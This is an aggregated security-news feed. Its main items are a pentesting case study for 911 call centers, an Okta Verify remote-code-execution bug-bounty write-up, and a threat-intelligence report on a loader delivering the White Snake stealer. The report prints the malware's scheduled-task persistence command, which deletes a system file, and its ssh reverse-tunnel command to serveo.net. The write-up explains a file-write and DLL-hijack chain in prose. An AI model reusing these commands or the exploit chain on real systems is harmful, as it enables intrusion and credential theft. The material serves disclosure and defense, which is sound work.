Cybersecurity is paramount for the public safety sector as it safeguards critical infrastructure, sensitive data, and communication systems vital for emergency response, law enforcement, and national security. In an increasingly interconnected world, where digital technologies infiltrate every aspect of society, vulnerabilities in these systems can be exploited by malicious actors to disrupt emergency services, compromise sensitive information, or even endanger lives. A robust cybersecurity posture not only protects against potential cyber threats and attacks but also ensures the confidentiality, integrity, and availability (CIA) of essential services, thereby upholding resilience of public safety systems.

Specifically, 911 call centers, also known as Public Safety Answering Points (PSAPs), frequently draw the attention of cyber threat actors because of their pivotal function in emergency response, making them attractive targets for disruption and ransomware attacks capable of incapacitating essential services. Additionally, the sensitive information stored within PSAP networks and systems, including Personal Identifiable Information (PII) and Personal Health Information (PHI), present lucrative opportunities for data theft and exploitation.

Intuitus: Manual Pentesting

Mission:

To make a big impact worldwide in thwarting ransomware and other cyberattacks by making sophisticated cyber defense solutions with human supervision affordable to organizations worldwide.

  • Year Founded: 2007
  • Number of Employees: >20
  • Operational Reach: Global

Threat Intelligence

In May 2023, a ransomware attack targeted the city of Dallas by the Royal Ransomware gang, leading to the shutdown of court systems and disruptions in 911 emergency services. The attack affected various city services, including the police department’s ability to access certain databases. The outage has also impacted Computer Aided Dispatch (CAD) systems, which are used by dispatchers and 911 operators to prioritize and record incident calls. While city officials assured that emergency calls were still being answered, the incident highlighted the significant impact cyberattacks can have on critical infrastructure and essential services.

In a recent interview with Brian Beckwith, Chief Technology Officer (CTO) at Intuitus, he explained that Intuitus “deals primarily in helping 911 call centers (PSAPs), and who those call centers support, to make sure their environments are secure.” Intuitus, a full-service cybersecurity and consulting solution with a 24/7 Security Operations Center (SOC), is the leading voice in cybersecurity for 911/NG911 PSAP organizations worldwide. Additionally, they participate in industry organizations such as National Emergency Number Association (NENA), Association of Public-Safety Communications Officials (APCO) international, and other 911/NG911 PSAP community members.

“When there is a cyberattack on a PSAP, there is the potential for loss of life due to the caller not being able to get through to the 911 call center. Our job is to prevent that situation. We specialize in knowing the cyber threat actor’s tactics, techniques, and procedures (TTPs) so we can protect organizations from those things.”

More than just protecting communications

“With legacy 911 systems, moving to a more IP-based solution is opening up a new world for 911,” explains Brian. So, rewriting and iterating on NG911 cybersecurity regulations, policies, and guidelines is key to keeping pace with the evolving cyber threats and fortify cybersecurity defenses. According to CISA, “the 911 system requires stable, safe, and resilient communications” and pointed to two things that all PSAPs should do to improve their overall cybersecurity:

  • Cybersecurity risk assessments
  • Cyber incident response and vulnerability response plans
Intuitus: Role of the CTO

Cybersecurity risk assessments are crucial for PSAPs because they help identify potential vulnerabilities and weaknesses within their systems proactively, allowing them to prioritize resources and implement effective security measures to mitigate risks. Additionally, having robust cyber incident response and vulnerability response plans is essential, as they enable PSAPs security teams to respond swiftly and effectively to cyberattacks. Intuitus also offers its customers SOC as a Service with Managed Detection & Response (MDR) as a fully self-contained solution that can be rapidly deployed into the existing infrastructure.

In the context of cybersecurity risks assessments, we at Horizon3.ai have seen our customers implement a regular cadence of penetration (aka “pen”) testing to ensure that they are continuously assessing their infrastructure to stay ahead of cyber threats. In general, most facets of the public safety sector have yearly cyber risk assessment requirements. However, this infrequent assessment schedule means that any new threats introduced after the assessment won’t be identified or mitigated promptly, leaving the organization exposed to potential breaches or attacks.

“Most PSAPs only conduct a once-a-year pentest, and don’t do pentesting all the time.”

Further, changes in the organization’s IT infrastructure, software updates, and the introduction of new technologies can also introduce new vulnerabilities that would remain unaddressed until the next annual assessment, further increasing the risk of cyber incidents.

Enter NodeZero™

With the increased focus on ensuring PSAPs are following national and international cybersecurity regulations, policies, and guidelines, as well as conducting cyber risk assessments yearly, Brian needed to find a solution that could increase Intuitus’ pentesting footprint and blast radius. He also wanted something that was easy to use, straightforward, and required less training time to learn. Moreover, he wanted something that could “enable digestible conversations with…customers and simplify what security measures must be taken to mitigate vulnerabilities in their environment quickly.” With Intuitus expanding not only in the U.S. but internationally, they needed a tool that could enable them to keep pace with their growing demand for continuous pentesting.

Intuitus: Autonomous Pentesting

After testing a few competitors that offer similar functionality and capabilities as NodeZero, Brian mentions that the tools “just didn’t do it right, not the way NodeZero does.” What we often find is that other “pentesting tools” can’t do what NodeZero does, and sometimes involve on-prem solutions that are complex and require additional training for in-house pentesters. Brian can use NodeZero right away, without needing to train his pentesters or attend lengthy instruction on how to run a pentest, use 1-Click Verify, or read reports. Additionally, this ease of use allows Brian and his team to foster better relationships with his customers because the reports are not overly complicated, yet they provide detail and give actionable guidance for even the novice user.

“NodeZero enables me to have a relationship with a customer that I wouldn’t have otherwise had without the tool”

Compliance for Everyone

As with almost all sectors and industries worldwide, when it comes to cybersecurity compliance, there is always a regulation or policy to comply with to meet minimum operating standards. According to Brian, “most of our pentests are performed because of some compliance regulation that needs to happen or that our customer must comply with.” Intuitus customers often require an audit with proof of a pentest and mitigation results to meet compliance requirements.

Auditors require pentests for compliance reasons to verify that an organization’s cybersecurity defenses are robust and effective against cyber threats, ensuring adherence to industry standards and regulatory requirements. Pentesting provides concrete evidence of security posture and readiness, helping organizations demonstrate due diligence in protecting sensitive data and systems. “One of our supply chain customers needed a pentest, and we told them that we can easily do that so they could meet the newly established [at that time] supply chain compliance standards,” Brian shared – another example of how NodeZero is enabling Intuitus to meet nearly all of their customers cybersecurity needs/requirements.

“100% of our [Intuitus] pentesting business we’re doing today; we would not be doing if we didn’t have NodeZero… Horizon3.ai has given us 20% more capability than any other tool we have used or demo’d. We have added many more customers to our business because we offer pentesting services.”

To Wrap it Up

By partnering with Horizon3.ai, Intuitus uses NodeZero as a force multiplier. Brian wanted to implement and offer in-house pentesting to ensure Intuitus is seen as a “trusted advisor, helping us continue to grow and maintain our full service offering to customers.” Additionally, Intuitus’ pivotal role within the public safety space ensures PSAPs are meeting and exceeding compliance standards, while also enabling them to stay ahead of threats and hardened against constantly evolving threats.

Download PDF

The post Advancing Emergency Response Security with Autonomous Pentesting appeared first on Horizon3.ai.

CVE-2024-32651 – Server Side Template Injection (Changedetection.io)

TL;DR A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host. Update changedetection.io to version 0.45.21 or later. A huge thanks to the mantainer (https://github.com/dgtlmoon) that was very responsive and collaborative to fix the issue, request a CVE number and inform the […]

Jumping into the CCNA with both feet | Cyber Work Hacks

By: Infosec
8 May 2024 at 18:00

Infosec and Cyber Work hacks can help you pass Cisco’s CCNA certification exam! But what if you think you’re not ready to make that jump? What would it take for you to jump into the study of the CCNA with both feet? Infosec’s CCNA boot camp instructor Wilfredo Lanz wants you to know that you can be ready to start the big learning a lot faster than you think, and tells us why some of his most entry-level students often do better on the test than their more established classmates. If the prospect of passing the CCNA on the first try got you fired up, well, that’s the point! Keep the excitement coming, and check out today’s Cyber Work Hack.

0:00 - Cisco's CCNA certification exam
0:57 - Who enrolls in an Infosec CCNA boot camp
2:50 - What should you know before studying for the CCNA?
3:50 - What does a CCNA certified IT network professional do?
6:42 - Ensuring you're ready to take on CCNA
9:59 - How to gain networking experience
11:39 - Become an IT and networking professional
12:50 - Outro

Learn more about the CCNA: https://www.infosecinstitute.com/training/ccna/

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

What's it like to be the CISO for the state of Connecticut? | Guest Jeffrey Brown

By: Infosec
6 May 2024 at 18:00

Today on Cyber Work, I’ve got a big guest for you. Jeffrey Brown, Faculty at IANS Research, is also the chief information security officer for, not a company, not for a healthcare organization, but for the entire state of Connecticut! Brown walks me through the scope and reach of a state-wide CISO, a country-wide move toward a “whole of state” strategy and, frankly, I spend an awful lot of time talking to Brown about where he finds the time to do all the things he does.

0:00 - Being CISO of an entire state
1:50 - Early interest in computer, tech and security
5:17 - A communication background in cybersecurity
7:31 - Cybersecurity career time management
13:59 - Working as a CISO of a state
15:45 - How to prepare for a CISO role at the state level
18:51 - What does a CISO do for a U.S. state?
25:50 - State cybersecurity approach
27:41 - Cyber attacks and challenges states face
32:00 - Is cybersecurity awareness a waste of time?
37:31 - Skills needed to work in cybersecurity for the state
40:11 - Learning how to lead in cybersecurity
43:20 - Favorite parts of state cybersecurity
44:19 - Resources to improve cyber hygiene
46:14 - Best piece of cybersecurity career advice
48:47 - Learn more about Jeffrey Brown
49:33 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

This is a very wide-ranging and inspiring episode – whether you’re slogging through cert study or hitting a wall trying to figure out your next career pivot, my talk with Jeff will absolutely give you a new perspective. Keep it right here for Cyber Work! 

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

Okta Verify for Windows Remote Code Execution – CVE-2024-0980

By: b0yd
2 May 2024 at 17:41

This article is in no way affiliated, sponsored, or endorsed with/by Okta, Inc. All graphics are being displayed under fair use for the purposes of this article.

Poppin shells with Okta Verify on Windows

These days I rarely have an opportunity to do bug hunting. Fortunately, over the holiday break, I found some free time. This started as it usually does with me looking at what software was running on my computer.

A while back I had installed Okta Verify on my Windows box as it was required for some “enhanced” 2FA that I was required to have to access a thing. Months later it sat there doing whatever it does. I googled to see if Okta had a bug bounty program because even though I had some time, it’d be nice to get paid if I found a thing. I was thrilled to find that Okta had a bug bounty with Bugcrowd, Okta Verify is in it, and the payouts look good, almost too good.

I started with my usual bug hunting flow when approaching a random Windows service. This typically includes looking for the usual low hanging fruit. A good article for the types of things to look for can be found here.

Firing up Sysinternal’s Procmon, I saw there is a service called Okta.Coordinator.Service that is running as SYSTEM. Without going into the details (namely because Okta hasn’t fixed it or issued it a CVE), I found a thing. I submitted the report and was promptly paid.

Well that’s weird. The bug I submitted is an unequivocal 7.8 CVSS. Which without knowing the voodoo behind P ratings (P1-P4), seems like would be a P2 at least. Instead I get a P3 and paid out at the lower end.

Looking back on it, I’m betting this is probably an old bug bounty program trick to motivate researchers to dig deeper… because, it worked. I decided to take a closer look since I hadn’t even opened up the binary to see what it was doing – and I wanted to get that big payout.

Let’s Get Crackin’

I haven’t popped Okta.Coordinator.Service.exe into a disassembler yet, but I’m betting it’s a .NET application. My guess comes from its name and the fact that there’s an Okta.Coordinator.Service.exe.config file right there with it, which you usually see with .NET applications.

When I open up the executable in JetBrains dotPeek, I can confirm it is indeed a .NET application. The binary appears to be a service wrapper. It handles the service related functionality: install, uninstall, start, stop, etc.  It references a Okta.AutoUpdate.Executor class that just so happens to have a matching DLL in the same directory.

Moving on to the DLL in dotPeek, I found the code used by the service. The first thing I noticed was it sets up a NamedPipe server, which listens for commands to update the Okta Verify software. This is a common design paradigm in Windows for enabling low-privileged applications to communicate with a high-privileged service to perform updates, as these often require elevated privileges. It’s a complex mechanism that’s tricky to do right, and often a good place for finding bugs. I was able to confirm the existence of the named-pipe server with a little Powershell.

Next, I investigated how to initiate an update and what aspects of this process could be manipulated by an attacker. The handler for the named pipe processes a straightforward JSON message that includes several fields, some checked against expected values. The primary field of interest is the update URL. If the input data passes validation, the software will attempt to fetch details from the specified URL about the most recent update package available. As shown below, the URL (sub)domain is verified against a whitelist before proceeding. For now, I’ll avoid trying to meet/bypass this requirement and simply add an entry in the hosts file on my test machine.

Typically at this stage, I’d code up a proof of concept (POC) to send a JSON message to the named pipe and check if the software connected to a web server I control. But since I haven’t spotted any potential vulnerabilities yet, I skipped that step and moved on.

From here I took a look at the code responsible for processing the JSON message retrieved from the attacker controlled update server. The application is expecting a message that contains metadata about an update package including versioning and an array of file metadata objects. These objects contain several pertinent fields such the download URL, size, hash, type, and command line arguments. The provided download URL is validated with the same domain checking algorithm as before. If the check passes, the software downloads the file and writes it to disk. This is where things get interesting. The code parses the download URL from the received metadata and constructs the file path by calling the Path.Combine function.

Several factors are converging here to create a serious vulnerability. The most obvious is the use of the Path.Combine function with user supplied data. I went into depth about this issue in a previous blog post here. The TLDR is if a full path is provided as the second argument to this function, the first argument that typically specifies the parent folder, is ignored. The next issue is how the filename is parsed. The code splits the file location URL by forward slash and takes the last element as the filename. The problem (solution) is a full Windows path can be inserted here using back slashes and it’s still a valid URL. Since the service is running as SYSTEM, we have permissions to right anywhere. If we put all this together our payload looks something like the script below.

Copy to Clipboard

Now that I have a potential bug to test out, I craft the POC for the named pipe client to trigger the update. Luckily, this code already exists in the .NET DLL for me to repurpose.  With my web server code also in place I send the request to test out the file write. As I had hoped, the file write succeeds!

Cool, but what about impact!

I have the ability to write arbitrary files as SYSTEM on Windows. How can I leverage this to achieve on-demand remote code execution? The first thing that comes to mind is some form of DLL hijacking. I’ve used phantom DLL hijacking in the past but this is more appropriate for red team operations where time constraints aren’t really an issue. What I really need is the ability to force execution shortly after the file write.

Since the whole purpose behind this service is to install an update, can I just use it to execute my code? I reviewed the code after the file write to see what it takes to execute the downloaded update package. It appears the file type field in the file object metadata is used to indicate which file to execute. If the EXE or MSI file type is set, the application will attempt to validate the file signature before executing it, along with any supplied arguments. The process launcher executes the binary with UseShellExecute set to false so no possibility of command injection.

My original thought was to deliver a legitimate Okta Verify package since this would pass the signature check. I could then use ProcMon to identify a DLL hijack in the install package. Privileged DLL hijacks occur in almost all services because the assumption is you already require the permissions to write to a privileged location. Ironically though, I found the service binary actually contained a DLL hijack just prior to the signature verification to load the necessary cryptographic libraries. If I write a DLL to C:\Program Files (x86)\Okta\UpdateService\wintrust.dll, it will get loaded just prior to signature verification.

Great, so now I have a way to execute arbitrary code from an unprivileged user to SYSTEM. “Guessing” that this probably won’t meet the bar of P1 or P2, I start thinking of how to upgrade this to remote code execution. If RCE doesn’t get a P1 then what does? The interesting thing about named pipes is that they are often remotely accessible. It all depends on what permissions are set. Looking at the code below, it sets full control to the “BUILTIN\Users” group.

Testing from a remote system in my network confirms that I get permissioned denied when I try to connect to the named pipe. After a couple of days I had an idea. If a Windows system is part of a Active Directory domain, does the BUILTIN/Users group permissions automatically get converted to the “Domain Users” group in a domain? This would mean any user in an AD domain could remotely execute code on any system that has Okta Verify installed. Moreover, considering that this software is aimed at large corporate enterprises, it would likely be included in the standard build and deployed broadly. So not explicitly “Domain Admin” but a good chance of it. I had to find out, so I stood up a test AD network in AWS and the following video shows what happened.

Almost done

Well that seems like a big deal right? Maybe get a P1 (and 70k…)? I’m guessing the small detail about not having an Okta subdomain to download from may keep it from landing a P1. Having worked at big tech companies, I know that subdomain takeover reports are common. However, without having a subdomain takeover, it’s likely the bug’s significance will be minimized. I decided to dedicate some time to searching for one to complete the exploit chain. After going through the standard bug bounty subdomain takeover tools, I came up with only one viable candidate: oktahelpspot.okta.com.  It pointed to an IP with no open ports, managed by a small VPS provider named Arcustech.

After signing up for an account and some very innocent social engineering, I got the following response. And then a second email from the first person’s manager. Oh well, so much for that.

The next thing that came to mind was leveraging a custom Okta client subdomain. Whenever a new client registers with Okta, they receive a personalized Okta subdomain to manage their identity providers, e.g. trial-XXXXXXX.customdomains.okta.com. I found a way to set custom routes in the web management application that would redirect traffic from your custom domain to a user defined URL. Unfortunately, this redirect was implemented in Javascript, rather than through a conventional 302 or 301 HTTP redirect. Consequently, the .NET HTTP client that the Okta Verify update service uses did not execute the Javascript and therefore did not follow the redirect as a browser would.

Reporting

At this point, I decided it was time to report my findings to Okta. Namely, because they were offering a bonus at the time for what appeared to be Okta Verify, which I think they might have either forgotten or included without mentioning. Secondly, I didn’t want to risk someone else beating me to it. I am happy to report they accepted the report and awarded me a generous bounty of $13,337 as a P2. It wasn’t quite $70k, or a P1, but it’s nothing to sneeze at. I want to thank Okta for the bounty and quick resolution. They also kindly gave me permission to write this blog post and followed through with issuing CVE-2024-0980 along with an advisory.

One last note, if anyone reading this identifies a way to bypass the subdomain validation check I would be very interested. I attempted most of the common URL parsing confusion techniques as well as various encoding tricks all for naught. Drop me a line at @rwincey on X

Scaly Wolf’s new loader: the right tool for the wrong job

By: BI.ZONE
2 May 2024 at 13:48

The BI.ZONE Threat Intelligence team has uncovered a fresh campaign by the group targeting Russian and Belarusian organizations

Key findings

  1. The cluster’s methods evolve continuously with new tools added to its arsenal.
  2. The use of password-protected archives enables the criminals to bypass defenses and deliver malware successfully.
  3. With phishing emails sent out on behalf of government agencies, the victim is much more likely to interact with the malicious attachments.

Campaign

The threat actors are distributing phishing emails under the guise of a federal agency. The emails have a legitimate document as an attachment. It aims to lull the recipient’s vigilance and prompt them to open the other file, a password-protected archive.

Phishing email
Legitimate attachment

The files in the archive:

  • Пароль 120917.txt, an empty file whose name contains the password to the archive
  • Права и обязанности и процедура ст. 164, 170, 183 УПК РФ.rtf (the rights, obligations, and procedure under the Criminal Procedure Code of the Russian Federation), another legitimate document serving as a decoy
  • Матералы к запросу, обязательно к ознакомлению и предоставлению информации-.exe (inquiry materials that require some action), an executable with malicious payload

The executable file is a loader, in2al5d p3in4er (Invalid Printer). After a successful anti-virtualization check, the loader injects the malicious payload into the address space of the explorer.exe process.

The check performed with the dxgi.dll library enables the loader to retrieve the IDs of the manufacturers of the graphics cards used in the system. Where such IDs do not match those of Nvidia, AMD, or Intel, the malicious file would stop running.

The loader is distinguished by not using WinAPI calls to access the Windows kernel. Instead, the kernel functions are called directly through jumps to the syscall instruction with the required arguments.

The arguments for kernel calls are passed through the following registers: R10, RDX, R8, R9. The RAX register is used to store the number of the initiated system call. In this case, the number 0x0036 corresponds to the system call NtQuerySystemInformation.

It is noteworthy that during the execution the loader would attempt to open multiple random files non-existent in the system and write random data into them. While such behavior does not affect the execution, this may help to detect the malicious activity in the system.

In order to identify the explorer.exe process, the loader enumerates the structures of the launched processes searching for the matching checksum. After identifying the required process, the loader allocates a memory region within this process with execution rights and copies the decrypted malicious payload into it. Finally, it modifies the process context to execute the injected shell code.

The payload is the shell code obtained with the help of the open-source Donut utility, which allows executable files (including .NET) to run in the memory. The utility has some additional features such as compression and encryption of malicious payload.

In the case under review, the malicious payload executed by this loader is the White Snake stealer, version 1.6.1.9. This is the latest version of the stealer published at the end of March 2024. It does not verify whether the victim is located in Russia or other CIS countries.

Stealer update announcement

In August 2023, the official White Snake channel published a post related to our investigation. The post informed that one of the customers had modified the malware and removed the AntiCIS module.

Post in the White Snake channel

We believe that with this statement the developers merely wanted to avoid getting blocked on popular underground resources.

When started, White Snake performs the following actions:

  • creates and checks the mutex specified in the configuration
  • (where such option is available) runs anti-virtualization checks: retrieves the device model and manufacturer and compares them with the program lines
    For this purpose, the following WMI requests are used:
    SELECT * FROM Win32_ComputerSystem – Model
    SELECT * FROM Win32_ComputerSystem – Manufacturer
  • (where such option is available) moves the current executable file to the directory as specified in the configuration (that is, C:\Users\[user]\AppData\Local\RobloxSecurity) and runs a command to add a task to the scheduler; then terminates the execution and self-runs from a new location:
"C:\Windows\System32\cmd.exe" /C chcp 65001 &&
timeout /t 3 > NUL &&
schtasks /create /tn "Explorer" /sc MINUTE /tr "C:\Users\[user]\AppData\Local\RobloxSecurity\Explorer.EXE" /rl HIGHEST /f &&
DEL /F /S /Q /A "C:\Windows\Explorer.EXE" &&
START "" "C:\Users\[user]\AppData\Local\RobloxSecurity\Explorer.EXE"

Interestingly, the legitimate explorer.exe would be copied without the injected shell code in this particular case.

White Snake can also use the serveo[.]net service. This option enables OpenSSH to be downloaded via the link to the GitHub repository (https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.2.2.0p1-Beta/OpenSSH-Win32.zip) and launched with the following command:

ssh -o "StrictHostKeyChecking=no" -R [connection port]:[local address]:[local port] serveo.net

The latest versions have an updated list of resources to transmit the data harvested by the stealer:

Indicators of compromise

  • 93948C7FB89059E1F63AF04FEEF0A0834B65B18FFAF6610B419ADBC0E271E23D
  • CBABD91FB0C1C83867F71E8DF19C131AC6FB3B3F3F74765BC24924CB9D51AD41
  • 10330FCC378DB73346501B2A26D2C749F51CACD962B54C62AA017DD9C1ED77C3

MITRE ATT&CK

More indicators of compromise and a detailed description of threat actor tactics, techniques, and procedures are available on the BI.ZONE Threat Intelligence platform.

Detecting such malicious activity

The BI.ZONE EDR rules below can help organizations detect the described malicious activity:

  • win_suspicious_code_injection_to_system_process
  • win_process_like_system_process_detected
  • win_creation_task_that_run_file_from_suspicious_folder
  • win_using_popular_utilities_for_port_forwarding
  • win_possible_browser_stealer_activity
  • win_access_to_windows_password_storage
  • win_dump_sensitive_registry_hives_locally
  • win_credentials_registry_hive_file_creation
  • win_query_stored_credentials_from_registry

We would also recommend that you monitor suspicious activity related to:

  • running executable files with long names resembling document names
  • multiple opening of files, including non-existent files
  • running suspicious WMI commands
  • scheduled tasks with atypical executables and system files in unusual directories
  • OpenSSH downloads from GitHub
  • network communications with serveo[.]net
  • reading the files in browser folders with credentials
  • reading the registry keys with sensitive data

How to protect your company from such threats

Scaly Werewolf’s methods of gaining persistence on endpoints are hard to detect with preventive security solutions. Therefore we recommend that companies enhance their cybersecurity with endpoint detection and response practices, for instance, with the help of BI.ZONE EDR.

To stay ahead of threat actors, you need to be aware of the methods used in attacks against different infrastructures and to understand the threat landscape. For this purpose, we would recommend that you leverage the data from the BI.ZONE Threat Intelligence platform. The solution provides information about current attacks, threat actors, their methods and tools. This data helps to ensure the effective operation of security solutions, accelerate incident response, and protect from the most critical threats to the company.

Horizon3.ai Appoints Matt Hartley as Chief Revenue Officer to Spearhead Growth Initiatives

2 May 2024 at 12:07

Business Wire 05/02/2024

Horizon3.ai, a leading provider of autonomous security solutions, today announced the appointment of Matt Hartley as Chief Revenue Officer (CRO), effective immediately.Hartley brings over 20 years of sales and operations excellence with a proven track record of building go-to-market (GTM) teams that achieve rapid scale and predictability…

Read the entire article here

The post Horizon3.ai Appoints Matt Hartley as Chief Revenue Officer to Spearhead Growth Initiatives appeared first on Horizon3.ai.

❌
❌